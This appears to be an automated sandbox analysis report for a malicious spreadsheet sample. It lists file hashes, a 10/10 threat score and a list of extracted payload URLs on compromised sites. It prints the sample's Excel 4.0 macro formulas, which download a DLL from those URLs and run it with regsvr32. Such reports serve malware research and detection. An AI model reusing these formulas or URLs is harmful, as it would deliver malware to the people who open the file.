General
-
Target
1c0be440686892e79f061a5409007be6ba5612582fb626735bceecea46d8aa66
-
Size
73KB
-
Sample
241120-mvvsyavgmg
-
MD5
2a5c2313a922a8e72658771525e90382
-
SHA1
e0bd512c39e931b39264e70291fec21b17088ecd
-
SHA256
1c0be440686892e79f061a5409007be6ba5612582fb626735bceecea46d8aa66
-
SHA512
bec89f7f23e1560ac635129e12272fa2c811a58c9020ebadfa483ce89d2916e13f46cb42bca98156e583b4e4e894231e3c44e46fcf98055c1209938acae1b1c8
-
SSDEEP
1536:j1iiXSto0NSVUINwtzLT7OMuuAe0yOcfpXZGsMlVzc:j1iiCtzSmICpH7OZuvZGsMU
Malware Config
Extracted
https://andjello.net/wp-includes/O74XNLzsodp/
http://andrewpharma.com/wp-includes/d8yxEkWRUU/
http://anneferrier.com/logs/Ia7oz193SZbb5N/
http://anaforainc.com/media/tUKKnlCd0QJDxWO/
http://allamapianoawards.com/quisint/RanfoIJhasZ0R33o/
http://amdrolls.com/Template/goRpY/
https://www.anagramme.net/admin_files/rOzDUUhjSMh/
-
formulas
=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://andjello.net/wp-includes/O74XNLzsodp/","..\ujg.dll",0,0) =IF('EGDGB'!F7<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://andrewpharma.com/wp-includes/d8yxEkWRUU/","..\ujg.dll",0,0)) =IF('EGDGB'!F9<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://anneferrier.com/logs/Ia7oz193SZbb5N/","..\ujg.dll",0,0)) =IF('EGDGB'!F11<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://anaforainc.com/media/tUKKnlCd0QJDxWO/","..\ujg.dll",0,0)) =IF('EGDGB'!F13<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://allamapianoawards.com/quisint/RanfoIJhasZ0R33o/","..\ujg.dll",0,0)) =IF('EGDGB'!F15<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://amdrolls.com/Template/goRpY/","..\ujg.dll",0,0)) =IF('EGDGB'!F17<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://www.anagramme.net/admin_files/rOzDUUhjSMh/","..\ujg.dll",0,0)) =IF('EGDGB'!F19<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe -s ..\ujg.dll") =RETURN()
Extracted
https://andjello.net/wp-includes/O74XNLzsodp/
Targets
-
-
Target
1c0be440686892e79f061a5409007be6ba5612582fb626735bceecea46d8aa66
-
Size
73KB
-
MD5
2a5c2313a922a8e72658771525e90382
-
SHA1
e0bd512c39e931b39264e70291fec21b17088ecd
-
SHA256
1c0be440686892e79f061a5409007be6ba5612582fb626735bceecea46d8aa66
-
SHA512
bec89f7f23e1560ac635129e12272fa2c811a58c9020ebadfa483ce89d2916e13f46cb42bca98156e583b4e4e894231e3c44e46fcf98055c1209938acae1b1c8
-
SSDEEP
1536:j1iiXSto0NSVUINwtzLT7OMuuAe0yOcfpXZGsMlVzc:j1iiCtzSmICpH7OZuvZGsMU
Score10/10-
Process spawned unexpected child process
This typically indicates the parent process was compromised via an exploit or macro.
-